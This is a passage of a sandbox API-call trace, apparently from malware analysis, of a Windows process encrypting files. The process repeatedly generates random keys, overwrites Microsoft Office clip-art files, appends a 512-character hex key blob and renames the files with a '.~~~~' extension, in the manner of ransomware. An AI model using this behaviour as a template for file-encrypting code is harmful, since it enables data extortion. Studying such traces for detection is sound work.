	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0850
	[0125.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.427] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.427] GetLastError () returned 0x0
	[0125.428] GetLastError () returned 0x0
	[0125.428] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.428] GetLastError () returned 0x0
	[0125.428] GetLastError () returned 0x0
	[0125.430] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe9c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.431] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x163c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x163c, lpOverlapped=0x0) returned 1
	[0125.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.432] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.432] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.433] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.433] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.433] CloseHandle (hObject=0x11c) returned 1
	[0125.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0850
	[0125.433] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.~~~~")) returned 1
	[0125.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0850 | out: hHeap=0x300000) returned 1
	[0125.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.434] GetLastError () returned 0x0
	[0125.435] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.436] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.436] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.436] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24542620001) returned 1
	[0125.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb43ab390, dwHighDateTime=0x1d60e1e)) 
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820da8
	[0125.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820da8 | out: hHeap=0x300000) returned 1
	[0125.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c08e8
	[0125.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.437] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.437] GetLastError () returned 0x0
	[0125.437] GetLastError () returned 0x0
	[0125.437] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.437] GetLastError () returned 0x0
	[0125.438] GetLastError () returned 0x0
	[0125.440] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdc4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.440] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x23b6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x23b6, lpOverlapped=0x0) returned 1
	[0125.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.442] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.442] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.442] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.442] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.442] CloseHandle (hObject=0x11c) returned 1
	[0125.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c08e8
	[0125.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.~~~~")) returned 1
	[0125.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c08e8 | out: hHeap=0x300000) returned 1
	[0125.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.444] GetLastError () returned 0x0
	[0125.445] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.446] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0125.446] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.446] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24543609493) returned 1
	[0125.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb43ab390, dwHighDateTime=0x1d60e1e)) 
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820de0
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0125.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820de0 | out: hHeap=0x300000) returned 1
	[0125.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0125.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0980
	[0125.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.447] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.447] GetLastError () returned 0x0
	[0125.447] GetLastError () returned 0x0
	[0125.447] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.448] GetLastError () returned 0x0
	[0125.456] GetLastError () returned 0x0
	[0125.479] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9d38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.479] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x62c8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x62c8, lpOverlapped=0x0) returned 1
	[0125.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.481] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.481] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.482] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.482] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.482] CloseHandle (hObject=0x11c) returned 1
	[0125.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c07b8
	[0125.482] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.~~~~")) returned 1
	[0125.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c07b8 | out: hHeap=0x300000) returned 1
	[0125.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.484] GetLastError () returned 0x0
	[0125.485] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.486] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.486] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.486] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24547657825) returned 1
	[0125.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb441d7b0, dwHighDateTime=0x1d60e1e)) 
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820e88
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820e88 | out: hHeap=0x300000) returned 1
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0a18
	[0125.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.487] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.488] GetLastError () returned 0x0
	[0125.488] GetLastError () returned 0x0
	[0125.488] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.488] GetLastError () returned 0x0
	[0125.488] GetLastError () returned 0x0
	[0125.509] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcb9b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.509] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3465, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x3465, lpOverlapped=0x0) returned 1
	[0125.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.511] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.511] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.511] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.511] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.511] CloseHandle (hObject=0x11c) returned 1
	[0125.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0b48
	[0125.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.~~~~")) returned 1
	[0125.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0b48 | out: hHeap=0x300000) returned 1
	[0125.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.523] GetLastError () returned 0x0
	[0125.524] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.525] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.525] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.526] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24551568671) returned 1
	[0125.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4469a70, dwHighDateTime=0x1d60e1e)) 
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820f30
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820f30 | out: hHeap=0x300000) returned 1
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0be0
	[0125.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.527] GetLastError () returned 0x0
	[0125.527] GetLastError () returned 0x0
	[0125.527] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.527] GetLastError () returned 0x0
	[0125.527] GetLastError () returned 0x0
	[0125.532] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd028, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.532] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x2fd8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x2fd8, lpOverlapped=0x0) returned 1
	[0125.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.537] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.537] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.537] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.537] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.537] CloseHandle (hObject=0x11c) returned 1
	[0125.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0be0
	[0125.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.~~~~")) returned 1
	[0125.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0be0 | out: hHeap=0x300000) returned 1
	[0125.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.540] GetLastError () returned 0x0
	[0125.540] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.621] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.621] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.621] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24561127576) returned 1
	[0125.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4574410, dwHighDateTime=0x1d60e1e)) 
	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
